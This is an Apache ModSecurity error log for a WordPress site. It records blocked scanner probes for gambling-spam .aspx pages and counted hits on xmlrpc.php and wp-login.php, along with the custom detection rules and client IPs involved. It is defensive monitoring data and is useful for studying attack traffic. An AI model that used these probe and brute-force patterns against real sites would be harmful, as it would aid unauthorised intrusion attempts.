[Fri Mar 20 05:45:32.508265 2026] [:error] [pid 58126:tid 58173] [client 62.84.185.52:53262] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "abxufKKAmdXQSS0Y5KBc2gAAAEE"]
[Fri Mar 20 05:45:34.345029 2026] [:error] [pid 58125:tid 58167] [client 62.84.185.52:53276] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "abxufvKqkvJQoqsQGeVmdAAAABc"]
[Fri Mar 20 05:45:36.358343 2026] [:error] [pid 58127:tid 58201] [client 62.84.185.52:53286] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "abxugLQ_HbYy8C6I_EH40QAAAII"]
[Fri Mar 20 05:45:38.307009 2026] [:error] [pid 58127:tid 58220] [client 62.84.185.52:15098] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "abxugrQ_HbYy8C6I_EH41gAAAJU"]
[Fri Mar 20 05:45:40.154976 2026] [:error] [pid 43163:tid 43171] [client 62.84.185.52:15100] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "abxuhJ_n4JP_ko9XUswCXAAAAQQ"]
[Fri Mar 20 05:45:42.154174 2026] [:error] [pid 58230:tid 58238] [client 62.84.185.52:15116] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "abxuhveBObYxbmHTzfrN4AAAAMU"]
[Fri Mar 20 05:45:43.968125 2026] [:error] [pid 58230:tid 58249] [client 62.84.185.52:15132] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "abxuh_eBObYxbmHTzfrN5gAAANA"]
[Fri Mar 20 05:45:45.966596 2026] [:error] [pid 58127:tid 58210] [client 62.84.185.52:15136] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "abxuibQ_HbYy8C6I_EH44QAAAIs"]
[Fri Mar 20 05:45:47.966283 2026] [:error] [pid 58126:tid 58173] [client 62.84.185.52:48264] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "abxui6KAmdXQSS0Y5KBc7wAAAEE"]
[Fri Mar 20 05:45:49.812472 2026] [:error] [pid 43163:tid 43168] [client 62.84.185.52:48268] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "abxujZ_n4JP_ko9XUswCcQAAAQE"]
[Fri Mar 20 05:45:51.788578 2026] [:error] [pid 43163:tid 43185] [client 62.84.185.52:48284] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "abxuj5_n4JP_ko9XUswCfAAAARI"]
[Fri Mar 20 05:45:53.768440 2026] [:error] [pid 58126:tid 58178] [client 62.84.185.52:48286] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "abxukaKAmdXQSS0Y5KBc-wAAAEY"]
[Fri Mar 20 05:45:55.754313 2026] [:error] [pid 58126:tid 58185] [client 62.84.185.52:48302] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "abxuk6KAmdXQSS0Y5KBdAAAAAE0"]
[Fri Mar 20 05:45:57.756596 2026] [:error] [pid 58127:tid 58203] [client 62.84.185.52:18594] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "abxulbQ_HbYy8C6I_EH48wAAAIQ"]
[Fri Mar 20 05:45:59.732103 2026] [:error] [pid 58126:tid 58189] [client 62.84.185.52:18604] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "abxul6KAmdXQSS0Y5KBdAwAAAFE"]
[Fri Mar 20 05:46:01.725768 2026] [:error] [pid 58126:tid 58176] [client 62.84.185.52:18612] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "abxumaKAmdXQSS0Y5KBdCQAAAEQ"]
[Fri Mar 20 05:46:11.988608 2026] [:error] [pid 58230:tid 58242] [client 37.78.197.17:63976] [client 37.78.197.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.78.197.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abxuo_eBObYxbmHTzfrOAgAAAMk"]
[Fri Mar 20 05:46:47.670243 2026] [:error] [pid 58230:tid 58244] [client 62.84.185.52:65092] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "abxux_eBObYxbmHTzfrOWwAAAMs"]
[Fri Mar 20 05:46:49.686080 2026] [:error] [pid 58230:tid 58256] [client 62.84.185.52:65104] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "abxuyfeBObYxbmHTzfrOZQAAANc"]
[Fri Mar 20 05:46:51.669067 2026] [:error] [pid 58127:tid 58216] [client 62.84.185.52:65112] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "abxuy7Q_HbYy8C6I_EH5RQAAAJE"]
[Fri Mar 20 05:46:53.650919 2026] [:error] [pid 58126:tid 58195] [client 62.84.185.52:65116] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abxuzaKAmdXQSS0Y5KBdSgAAAFc"]
[Fri Mar 20 05:46:55.494349 2026] [:error] [pid 58127:tid 58212] [client 62.84.185.52:65124] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "abxuz7Q_HbYy8C6I_EH5TAAAAI0"]
[Fri Mar 20 05:46:57.457400 2026] [:error] [pid 58127:tid 58221] [client 62.84.185.52:43912] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abxu0bQ_HbYy8C6I_EH5VQAAAJY"]
[Fri Mar 20 05:46:59.470140 2026] [:error] [pid 58126:tid 58195] [client 62.84.185.52:43928] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "abxu06KAmdXQSS0Y5KBdVgAAAFc"]
[Fri Mar 20 05:47:01.284232 2026] [:error] [pid 58127:tid 58214] [client 37.78.197.17:64449] [client 37.78.197.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.78.197.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abxu1bQ_HbYy8C6I_EH5YAAAAI8"]
[Fri Mar 20 05:47:01.427627 2026] [:error] [pid 58126:tid 58189] [client 62.84.185.52:43936] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "abxu1aKAmdXQSS0Y5KBdWwAAAFE"]
[Fri Mar 20 05:47:03.345643 2026] [:error] [pid 43163:tid 43179] [client 62.84.185.52:43938] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "abxu15_n4JP_ko9XUswDfgAAAQw"]
[Fri Mar 20 05:47:05.368366 2026] [:error] [pid 58125:tid 58160] [client 62.84.185.52:43954] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "abxu2fKqkvJQoqsQGeVm3AAAABA"]
[Fri Mar 20 05:47:07.366057 2026] [:error] [pid 43163:tid 43174] [client 62.84.185.52:59104] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "abxu25_n4JP_ko9XUswDqQAAAQc"]
[Fri Mar 20 05:47:09.363251 2026] [:error] [pid 58127:tid 58214] [client 62.84.185.52:59106] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "abxu3bQ_HbYy8C6I_EH5gAAAAI8"]
[Fri Mar 20 05:47:11.193381 2026] [:error] [pid 58127:tid 58205] [client 62.84.185.52:59108] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "abxu37Q_HbYy8C6I_EH5hgAAAIY"]
[Fri Mar 20 05:47:13.201613 2026] [:error] [pid 58126:tid 58186] [client 62.84.185.52:59124] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abxu4aKAmdXQSS0Y5KBdcAAAAE4"]
[Fri Mar 20 05:47:15.027842 2026] [:error] [pid 58125:tid 58148] [client 62.84.185.52:59132] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "abxu4_KqkvJQoqsQGeVm5AAAAAQ"]
[Fri Mar 20 05:47:17.040976 2026] [:error] [pid 43163:tid 43167] [client 62.84.185.52:17004] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "abxu5Z_n4JP_ko9XUswDygAAAQA"]
[Fri Mar 20 05:47:19.165333 2026] [:error] [pid 58127:tid 58220] [client 62.84.185.52:17016] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "abxu57Q_HbYy8C6I_EH5iAAAAJU"]
[Fri Mar 20 05:47:21.179326 2026] [:error] [pid 58127:tid 58222] [client 62.84.185.52:17028] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "abxu6bQ_HbYy8C6I_EH5iQAAAJc"]
[Fri Mar 20 05:47:23.172651 2026] [:error] [pid 58230:tid 58238] [client 62.84.185.52:17032] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abxu6_eBObYxbmHTzfrOxAAAAMU"]
[Fri Mar 20 05:47:25.145966 2026] [:error] [pid 43163:tid 43173] [client 62.84.185.52:17034] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "abxu7Z_n4JP_ko9XUswD4AAAAQY"]
[Fri Mar 20 05:47:27.006463 2026] [:error] [pid 58230:tid 58245] [client 62.84.185.52:56736] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "abxu7_eBObYxbmHTzfrOzgAAAMw"]
[Fri Mar 20 05:47:28.982265 2026] [:error] [pid 58230:tid 58244] [client 62.84.185.52:56752] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abxu8PeBObYxbmHTzfrO1AAAAMs"]
[Fri Mar 20 05:47:30.995050 2026] [:error] [pid 58127:tid 58216] [client 62.84.185.52:56754] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "abxu8rQ_HbYy8C6I_EH5lQAAAJE"]
[Fri Mar 20 05:47:32.979822 2026] [:error] [pid 58127:tid 58217] [client 62.84.185.52:56764] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "abxu9LQ_HbYy8C6I_EH5mAAAAJI"]
[Fri Mar 20 05:47:34.984414 2026] [:error] [pid 43163:tid 43179] [client 62.84.185.52:56768] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "abxu9p_n4JP_ko9XUswD8AAAAQw"]
[Fri Mar 20 05:47:36.986682 2026] [:error] [pid 58126:tid 58191] [client 62.84.185.52:41180] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "abxu-KKAmdXQSS0Y5KBdgAAAAFM"]
[Fri Mar 20 05:47:38.990930 2026] [:error] [pid 58125:tid 58146] [client 62.84.185.52:41188] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abxu-vKqkvJQoqsQGeVm9wAAAAI"]
[Fri Mar 20 05:47:41.053486 2026] [:error] [pid 58126:tid 58186] [client 62.84.185.52:41204] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "abxu_aKAmdXQSS0Y5KBdgwAAAE4"]
[Fri Mar 20 05:48:02.911118 2026] [:error] [pid 58127:tid 58218] [client 37.78.197.17:65032] [client 37.78.197.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.78.197.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abxvErQ_HbYy8C6I_EH57AAAAJM"]
[Fri Mar 20 05:48:58.908344 2026] [:error] [pid 58230:tid 58243] [client 37.78.197.17:65522] [client 37.78.197.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.78.197.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abxvSveBObYxbmHTzfrPlAAAAMo"]
[Fri Mar 20 05:53:51.877983 2026] [:error] [pid 58126:tid 58192] [client 50.87.144.15:32568] [client 50.87.144.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxwb6KAmdXQSS0Y5KBfPwAAAFQ"]
[Fri Mar 20 05:53:53.850899 2026] [:error] [pid 58126:tid 58179] [client 50.87.144.15:32568] [client 50.87.144.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxwcaKAmdXQSS0Y5KBfRgAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 05:54:23.019877 2026] [:error] [pid 58230:tid 58245] [client 103.193.73.8:57232] [client 103.193.73.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.193.73.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxwj_eBObYxbmHTzfrSiwAAAMw"]
[Fri Mar 20 05:54:24.672630 2026] [:error] [pid 58230:tid 58238] [client 103.193.73.8:57232] [client 103.193.73.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.193.73.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxwkPeBObYxbmHTzfrSjwAAAMU"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 06:00:55.486067 2026] [:error] [pid 55239:tid 55288] [client 198.57.247.176:42206] [client 198.57.247.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxyF6ycM6mGWSmcyoLgbQAAAc8"]
[Fri Mar 20 06:00:58.967439 2026] [:error] [pid 55301:tid 55367] [client 198.57.247.176:20652] [client 198.57.247.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxyGsKP1x4sgmjd3xRFPgAAAoU"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 06:59:32.347422 2026] [:error] [pid 55301:tid 55401] [client 162.241.2.189:47606] [client 162.241.2.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abx_1MKP1x4sgmjd3xRk2gAAApY"]
[Fri Mar 20 06:59:34.359117 2026] [:error] [pid 55301:tid 55383] [client 162.241.2.189:47606] [client 162.241.2.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abx_1sKP1x4sgmjd3xRk4wAAAo4"], referer: https://gigfragments.org/wp-login.php
